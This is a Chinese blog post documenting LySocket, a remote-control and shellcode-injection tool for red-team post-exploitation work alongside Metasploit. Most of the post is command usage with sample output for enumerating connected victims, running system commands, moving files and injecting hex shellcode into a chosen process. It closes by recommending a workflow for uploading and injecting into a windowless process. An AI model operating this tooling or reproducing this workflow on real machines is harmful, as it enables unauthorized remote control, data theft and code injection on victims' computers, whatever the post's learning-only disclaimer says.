LySocket 远程ShellCode注入工具

振翅碎流霞

已于 2024-10-29 19:54:19 修改

阅读量1.8k

点赞数 9

CC 4.0 BY-SA版权

文章标签： c++ LySocket ShellCode

于 2024-10-29 19:53:39 首次发布

本文链接：https://blog.csdn.net/lyshark_csdn/article/details/143346123

软件发布专栏收录该内容

4 篇文章

订阅专栏

一款基于C/C++开发的远程ShellCode注入工具，通常配合Metasploit一起使用，可实现远程注入反弹代码到指定进程，它由服务端和客户端两部分组成，并使用最少的代码实现了多Socket套接字管理机制，目前主要功能包括，获取客户端CPU、内存、进程列表、磁盘列表、目录与文件列表、执行系统命令、远程文件上传下载、以及远程ShellCode注入，该工具可用于红队渗透后的权限维持工作。本次分享工具源代码及使用方法，读者可根据自己的需要参考学习，并以此来更好的理解套接字是如何进行管理的。

首先，读者需要有一个公网IP地址，并在该地址上运行服务端程序，客户端可在被控主机上运行，为了防止技术滥用本工具并不提供开机自启动功能且不隐藏CMD窗口，其目的仅是让读者能够学习红队武器化的开发思路，若需应用于实战还需增加其他功能（例如加密传输），读者可根据自己的理解进行学习和完善。

ShowSocket

当在服务端上运行ShowSocket命令时，它会列出所有当前连接的客户端，其中包括客户端的IP地址、端口、及状态信息，该命令输出的信息通常包括以下内容：

[ LySocket ] # ShowSocket
--------------------------------------------------------------------
索引             客户端地址              端口            状态
--------------------------------------------------------------------
0                127.0.0.1               51453           Open
1                127.0.0.1               51454           Open
2                127.0.0.1               51455           Open
--------------------------------------------------------------------

GetCPU

当在服务端上运行GetCPU命令时，它会列出目标主机的CPU信息，包括CPUID、CPU型号、CPU空闲、CPU内核、CPU用户、CPU利用百分比等，该命令输出的信息通常包括以下内容：

[ LySocket ] # GetCPU --addr 127.0.0.1
--------------------------------------------------------------------
CPUID: 3219913727
CPUType: GenuineIntel
idle: 12500000
kernel: 12500000
user: 0
cpu: 0
--------------------------------------------------------------------

GetMemory

当在服务端上运行GetMemory命令时，它会获列出目标主机的内存信息，包括内存总量、内存剩余、内存已使用等信息，该命令输出的信息通常包括以下内容：

[ LySocket ] # GetMemory --addr 127.0.0.1
--------------------------------------------------------------------
内存总量                 内存剩余                内存已使用
--------------------------------------------------------------------
7878 MB                  4463 MB                 3415 MB
7878 MB                  4463 MB                 3415 MB
7878 MB                  4463 MB                 3415 MB
--------------------------------------------------------------------

GetProcessList

当在服务端上运行GetProcessList命令时，它会列出目标主机的进程列表信息，其中包括了进程PID、进程位数、进程名等，该功能主要用于挑选注入进程时使用，该命令输出的信息通常包括以下内容：

[ LySocket ] # GetProcessList --addr 127.0.0.1
--------------------------------------------------------------------
索引             进程PID                 进程位数                进程名
--------------------------------------------------------------------
0                4       x64             System
1                104     x64             Registry
2                440     x64             smss.exe
3                608     x64             csrss.exe
4                700     x64             csrss.exe
5                724     x64             wininit.exe
6                764     x64             winlogon.exe
7                844     x64             services.exe
8                860     x64             lsass.exe
9                980     x64             svchost.exe
10               1016    x64             svchost.exe
11               524     x64             fontdrvhost.exe
12               372     x64             fontdrvhost.exe
--------------------------------------------------------------------

GetDiskList

当在服务端上运行GetDiskList命令时，它会列出目标主机的磁盘列表信息，其中包括了磁盘名、磁盘类型、总容量、可用容量、已使用等，该命令输出的信息通常包括以下内容：

[ LySocket ] # GetDiskList --addr 127.0.0.1
----------------------------------------------------------------------------------------------------
磁盘名           磁盘类型                总容量                  可用空间                已使用
----------------------------------------------------------------------------------------------------
C:\              固定磁盘                256.000000              197.578125              58.421875
D:\              固定磁盘                675.508789              633.071289              42.437500
F:\              移动磁盘                1863.013672             1718.514648             144.499023
----------------------------------------------------------------------------------------------------

GetDiskFileList

当在服务端上运行GetDiskFileList命令时，它会列出目标主机特定目录下的磁盘文件信息，其中包括了文件名及文件大小，该命令输出的信息通常包括以下内容：

[ LySocket ] # GetDiskFileList --addr 127.0.0.1 --path c://
--------------------------------------------------------------------
文件名                           文件大小
--------------------------------------------------------------------
Boot                                                     0
bootmgr                                                  408344
PerfLogs                                                 0
Program Files                                            0
Program Files (x86)                                      0
ProgramData                                              0
Users                                                    0
Windows                                                  0
--------------------------------------------------------------------

GetCommand

当在服务端上运行GetCommand命令时，它会在目标系统中执行系统命令并输出执行结果，该命令输出的信息通常包括以下内容：

[ LySocket ] # GetCommand --addr 127.0.0.1 --cmd ipconfig
Windows IP 配置
以太网适配器 VMware Network Adapter VMnet1:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::5484:f4a1:18e7:22e8%6
   IPv4 地址 . . . . . . . . . . . . : 192.168.16.1
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . :
--------------------------------------------------------------------

SendFile

当在服务端上运行SendFile命令时，它会将本地的特定文件发送到特定客户端上，例如将本地的d://lyshark.exe发送到对端的d://tmp/lyshark.exe目录下，可执行如下命令：

[ LySocket ] # SendFile --addr 127.0.0.1 --src d://lyshark.exe --dst d://tmp/
[+] 发送文件长度 14848
[*] 接收状态 1
[+] Success..

RecvFile

当在服务端上运行RecvFile命令时，它会将远程主机上特定文件接收到服务端上，例如将远程主机上的d://lyshark.exe接收到本地的d://tmp/目录下，可执行如下命令：

[ LySocket ] # RecvFile --addr 127.0.0.1 --src d://lyshark.exe --dst d://tmp/
[+] 生成保存路径 d://tmp/lyshark.exe
[+] 接收字节数: 14848
[+] Success..

InjectCode

当在服务端上运行InjectSelfCode命令时，它会将接收到的ShellCode注入到自身进程内并执行，例如执行如下命令：

[ LySocket ] # InjectSelfCode --addr 127.0.0.1 --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31

若要将ShellCode注入到第三方进程中则可以使用InjectRemoteCode命令，该命令接收三个参数分别是目标地址、目标PID进程号、以及目标ShellCode代码，例如执行如下命令：

[ LySocket ] # InjectRemoteCode --addr 127.0.0.1 --pid 8762 --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31

对于注入，推荐使用SendFile上传一个无窗体的进程，并通过调用GetCommand运行进程，最后调用InjectRemoteCode将其注入到对应的进程内，而不去使用系统中的其他进程。